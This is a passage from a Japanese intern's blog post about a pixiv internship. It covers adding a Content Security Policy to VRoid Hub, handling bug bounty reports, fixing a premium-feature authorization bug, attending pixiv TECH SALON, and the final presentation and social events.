unsafe-evalも外せると完璧らしいのですが外してみるとうまくいかない部分があり,結局付けたままにしました.本番環境でContent Security Policy Report Onlyがついていることを確認したらCSPの違反レポートが来るまで1日程度様子を見ました.翌日に違反レポートが来ていることは確認できたのですが,report-uri.comだとブラウザのバージョンが見れず,どのブラウザで違反が起きているのかわかりづらいということでreportUriをSentryに変更しました.
ですがその後,Sentryではあまりログが取れていないということがわかり,reportUriは2つ指定することも可能だったのでreport-uri.comとSentryの2つのURLを指定しました.また,Worker関連のCSP違反レポートが出ていることもわかったので,これに対応するために新たにworkerSrcディレクティブを追加しました.
バグバウンティ関連②
実際のバグバウンティの対応もやらせていただきました.届いていた報告をトリアージしてから報奨金の支払いまでをメンターさんに教えてもらいながらやりました.それまではレポートを読んでいただけだったのですが,未対応の脆弱性の対応のために検証を行ったり,GitHubにissueを立てて概要や影響について書いたりして,ここでも最高の体験をすることができました.
また,画像関係の脆弱性についても検証・調査を進めていました.
pixiv Bug Fix
pixivにあったバグ修正もしました.これはバグバウンティのほうで報告が来ていたもので,プレミア会員でしかできないはずのことが一般会員でも細工するとできてしまうことがあり,その修正をするためにtadsanに教わりながら開発環境を作りました.(PhpStorm初めて使った)
翌日,メンターのkoboさんに相談しながらPRを出し,それはその日中にマージされて本番環境にデプロイされました.pixiv本体へのコントリビュート,最高の体験すぎる.(「これで君は VRoid Hub と pixiv ,2つのコントリビューターだ」とkoboさんから言われた時は嬉しすぎて言葉が「なるほど...」しか出てこなかった🤔)
pixiv TECH SALON
また,3月5日の火曜日はpixiv TECH SALONに参加しました!
pixivが初めて開催するテックカンファレンスで,完全招待制のイベントなのですが,インターン生は全員参加できるということで参加してきました.入場すると謎のサイリウム入りのトートバッグが渡されました.
pixiv BLUE,カルピスとなにかを混ぜたやつ(忘れてしまった)
メインセッションが始まるまでは両端でLTが開かれていました.僕はAのほうを聞いてからBのほうに行き,全てのLTを聞きました.LTの途中からボイチェンで声を変えて発表する『明日から女の子になるための「声」のお話』はだいぶ印象に残りました笑
メインセッションが始まってからは参加者は皆さん着席して聞いていました.どのお話も業務で直面した課題をどのように解決したかを話していたり,pixivの社風が存分に伝わってくるセッションで,聞いていてワクワクしました.
個人的に特に面白いなと思ったセッションは「大多数のメンバーがコードを書けるチームにおけるエンジニアの役割」です.pixivのBOOTHチームについてお話されていて,そもそもBOOTHチームはエンジニア以外にもコードを書ける人が多くて,エンジニア以外にPRを出してマージされたことがある人がいたり,issueを立てたことがある人はエンジニア以外を含めて全員だったり,特徴的なチームでした.
このセッションで伝えたいこととして2点挙げられていました.まず1点目は,BOOTHで商品が入荷するまでの間,ステータスが中々次のものに切り替わらないのでどうにかしたいという課題があったということで,非エンジニアの方からは新たにステータスを追加してはどうかという提案があったそうです.しかしエンジニアからすればステータスを新たに加えるということはコードの大きな変更を意味し,できれば行いたくないということで,もう少しヒアリングしてみると問題の本質はステータスを新たに加えなければいけないということではなくて,ステータスが切り替わらない間のお問い合わせ先に問題があるのでそこを変更すればよいという結論に至ったそうです.このように提案されたものを鵜呑みにするのではなく,問題の本質を見抜きそれを解決するところがエンジニアの腕の見せ所とおっしゃっていて,まさにその通りだなと納得しました.
もう1点は「小さく出す」ということで,PRなどを出す際に「ついでに」これもやっておきましたみたいなことを辞めようということです.なぜかというと,「ついでに」実装したものが実は正しく動いてなくて検証が必要だったりして,本来出すはずだった修正や機能追加が「ついでに」追加したものに足を引っ張られることでできなくなってしまうことがあるからです.そのために「小さく出す」ことで,よりスピーディーに開発が進むということでした.
メインセッションが終わった後はいよいよサイリウムを折ってから盛大な掛け声と共に懇親会がスタートして,みんなでわいわいしていました.(大学の元先輩3人と遭遇するという奇跡が起きてびっくりしました)
3/7~3/8
CSPの導入③
CSPのReport Onlyを外すPRを作成していました.いよいよReport Onlyを外すということで少し緊張していましたが,無事VRoid HubにCSPを導入することができました.
バグバウンティ関連③
引き続き,画像関係の脆弱性について調査していました.Linuxのcgroupを使用した対策についての調査をローカル環境で試していて,正しく制御できていることを確認したのでissueに調査結果をまとめていたりしました.
成果発表
最終日では,インターン中の成果を発表しました.メンターのkoboさんに添削してもらいながら,ギリギリまでスライドを作っていました.僕の発表は2番目だったのですが,初手のインターン生のりゅう君が声は大きいし発表は面白いし盛り上がるしで,そんな素晴らしい発表の後に控えていた僕は「オワタ」という気持ちで見ていました.
僕の発表では初っ端から,もっと大きな声で喋ってと言われてしまい,普段から声が小さい自分にとってはなかなかに厳しい状況だったのですが,kameikeさんがすぐにマイクを用意してくれて惚れそうになりました.緊張しながらも発表を終えると,メンターのkoboさんが総評でいいことばかりおっしゃってくれて,嬉しすぎてついつい笑みがこぼれました.
発表の後は記念撮影をして打ち上げ会場に移動し,鍋をつつきながら楽しく談笑していました.その後会社に戻ってからは,お土産としてpixivのステッカーやグッズなどを頂いてから帰りました.
その他の思い出
懇親会でルービックキューブについて話した
hakatashiさんの他に機械学習コースのメンターさんのfusshi-さんもルービックキューブの達人で,お話していてとても楽しかったです.
バイナリかるた貰った
koboさんから頂きました!!!!
お絵かきブートキャンプ
こちらは3月6日の水曜日にありました.水曜日のランチでご一緒させていただいた社員さんにお誘い頂いたので喜んで参加しました.絵を描く人全てが偉いという考えで,批判はなくひたすら褒めてもらうような素晴らしい世界でした.自分は絵を描くのが半年~1年に1枚という具合なので,このような集まりがあるといい感じにモチベーションを保ててよさそうだなと思いました.
円盤鑑賞会的なやつ
3月7日の木曜日にAqoursのライブDVDを鑑賞したのですが,優勝しました.
僕はラブライブは観ていたのですが,ラブライブサンシャインは観ていなかったので大丈夫かなぁと思っていたのですが,いざ始まってみると激熱でした.
ご飯情報
お昼はほぼ毎回メンターのkoboさんがいろいろな社員さんを誘ってくれて,ご飯に行っていました.
最後に
去年の夏に2社,別のインターンに行きましたが,僕の目指している職業上どうしても堅いところが多く,このようなアットホームな会社のインターンシップは初めてでした.まず社員さんとの距離が近く,「インターン生」という別のくくりとして扱うのではなく一社員のように扱っていただいて,本当にpixivで働いているような,そんなインターンシップでした.
他にも社員の趣味を最大限に応援する会社で,個性溢れる社員さんばかりでしたし,参加する前から思っていた通りの本当に素敵な会社だなと身に沁み,「創作活動がもっと楽しくなる場所を創る」という理念が伝わってきました.
最後になりますが,メンターのkoboさん,VRoidチームの皆様,インターンシップに携わってくださった社員の皆様,そしてpixivの皆様,最高の体験をありがとうございました!